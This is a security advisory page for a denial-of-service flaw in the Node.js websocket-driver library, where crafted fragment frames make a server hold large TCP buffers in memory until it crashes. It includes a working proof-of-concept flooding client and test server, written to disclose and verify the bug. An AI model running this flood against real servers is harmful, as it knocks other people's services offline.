Vulnerability DatabaseGHSA-j7r2-xppq-m353

GHSA-j7r2-xppq-m353: 
JavaScript vulnerability analysis and mitigation

Summary

With the default configuration options, an unauthenticated remote client is able to force the server to retain large Buffer objects in memory far longer than necessary, by sending it a series of small fragment frames embedded in larger chunks of TCP input. This can cause substantial memory inflation and lead to the server running out of memory and crashing.

Details

websocket-driver handles incoming TCP input via a pipe() call that feeds Buffer objects read from a TCP stream into the driver. A class named StreamReader stores the sequence of received buffers in an array and its read(length) method is used by the parser to consume arbitrary-sized chunks of the input stream. If the requested length is smaller than the length of the first Buffer in the input queue, the Buffer.slice() method is used to take a reference to a slice of that Buffer without copying it. Since slice() takes a reference to the source Buffer, the source is not garbage collected until all slices taken from it are dropped. A client can abuse this by embedding a 1-byte fragmented message frame in a larger chunk of TCP input, for example a long sequence of pong frames. The parser will take a 4-byte slice for the frame mask and a 1-byte slice for the frame payload, and these slices will internally reference the original TCP read input. Since the fragments are buffered indefinitely until either the message is completed or the total of the 1-byte fragments exceeds maxLength, the client can make the server keep live references to the original TCP inputs long after it needs them. This substantially inflates the amount of memory the server is using and may lead to it crashing. As of version 0.8.1, the parser does compact the buffered message fragments once 1,000,000 fragments are received, so the client is able to make the server retain up to 1,000,000 TCP read inputs before this limit is reached. Before version 0.8.1, this compaction limit does not exist and the server will buffer fragments until their length totals maxLength.

Proof of concept

This server uses websocket-driver to handle incoming connections, and periodically logs the amount of array buffer memory it is using:

const net = require('net')
const websocket = require('websocket-driver')
const server = net.createServer((connection) => {
  const driver = websocket.server()
  driver.on('connect', () => {
    if (websocket.isWebSocket(driver)) driver.start()
  })
  driver.on('close', () => connection.end())
  connection.pipe(driver.io).pipe(connection)
})
server.listen(5107, '127.0.0.1')
setInterval(() => {
  const MiB = Math.round(process.memoryUsage().arrayBuffers / 1048576)
  console.log('ArrayBuffers (MiB): ' + MiB)
}, 1000)

This client connects and then sends 64 KiB chunks of input that consist of a single 1-byte fragment frame, padded out with pong frames. It sends this data continuously and never sends a final frame of the fragmented message:

const { randomBytes } = require('crypto')
const net = require('net')
// masked frames, mask key 00 00 00 00
let firstFragment = Buffer.from([0x01, 0x81, 0, 0, 0, 0, 0x61]) // text, FIN = 0, 1 byte
let continuation = Buffer.from([0x00, 0x81, 0, 0, 0, 0, 0x61]) // FIN = 0, 1 byte
function pong () {
  return Buffer.concat([Buffer.from([0x8a, 0xfd, 0, 0, 0, 0]), randomBytes(125)])
}
// 1 continuation fragment + 500 pongs = about one 64 KiB socket read
let unit = Buffer.concat([continuation, ...Array.from({ length: 500 }, pong)])
let socket = net.connect(5107, '127.0.0.1')
socket.on('error', () => {})
socket.write(
  'GET / HTTP/1.1\r\n' +
  'Host: 127.0.0.1\r\n' +
  'Connection: Upgrade\r\n' +
  'Upgrade: websocket\r\n' +
  `Sec-WebSocket-Key: ${btoa('the sample nonce')}\r\n` +
  'Sec-WebSocket-Version: 13\r\n' +
  '\r\n'
)
socket.once('data', () => {
  socket.write(firstFragment)
  let flood = () => {
    while (socket.write(unit)) {}
    socket.once('drain', flood)
  }
  flood()
})

When running both of these, the server's memory use is observed to increase indefinitely. After patching, it remains at a low stable level.

Impact

A server using websocket-driver can be forced to retain unneeded Buffer objects in memory indefinitely by an unauthenticated remote client, causing it to run out of memory and crash.


Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-j7r2-xppq-m353HIGH7.5
  • JavaScript logoJavaScript
  • websocket-driver
NoYesNov 28, 2026
GHSA-w7cm-vp9h-3qp4MEDIUM6.3
  • JavaScript logoJavaScript
  • axios
NoYesNov 28, 2026
GHSA-mw39-9473-h7mrMEDIUM6.3
  • JavaScript logoJavaScript
  • axios
NoYesNov 28, 2026
GHSA-v2qg-6486-r9rfLOW2.3
  • JavaScript logoJavaScript
  • axios
NoYesNov 28, 2026
GHSA-jm66-q5wm-qf72MEDIUMN/A
  • JavaScript logoJavaScript
  • orbitdb-relay
NoNoNov 28, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management